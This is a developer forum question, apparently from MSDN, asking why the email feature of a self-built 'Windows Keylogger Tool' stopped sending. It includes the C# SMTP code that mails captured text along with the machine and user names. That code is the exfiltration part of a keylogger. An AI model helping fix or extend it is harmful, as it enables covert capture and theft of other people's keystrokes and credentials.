sending mails failed in c# windows application

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C#

C#4.0

Hi All,
Its my first post on msdn, because I have not found any solution for the issue I am having any where else.
I was working on a keylogger tool. It have several features. One of them is sending mail on user provided credentials.
It was working fine for me. Suddenly after few day its failing to send mails now. But if I copy same code and create a demo application with same user credentials it will work. So surely I think no issue with code. My code is looks like this.

SmtpClient SmtpMail = new SmtpClient(txtMailServer.Text.Trim(), Convert.ToInt32(txtPort.Text.Trim())); 
 

MailMessage mailMessage = new MailMessage(txtUser.Text.Trim(), txtUser.Text.Trim()); 
mailMessage.SubjectEncoding = Encoding.UTF8; 
mailMessage.Subject = "Windows Keylogger Tool"; 
mailMessage.IsBodyHtml = true; 
mailMessage.BodyEncoding = Encoding.UTF8; 
mailMessage.Priority = MailPriority.High; 
SmtpMail.EnableSsl = true; 
SmtpMail.Credentials = new System.Net.NetworkCredential(txtUser.Text.Trim(), txtPass.Text.Trim()); 

StringBuilder mbody = new StringBuilder(); 
mbody.Append("Machine:" + Environment.MachineName + ":" + Environment.UserName + " Time:" + DateTime.Now + Environment.NewLine); 
mbody.Append(Environment.NewLine + message); 
mailMessage.Body = mbody.ToString();

//send test mail
SmtpMail.Send(mailMessage);

Now I can not figure out whats the issue here. I tried using different credentials. Its just not working and I am kind of no brainer now.
Please help me.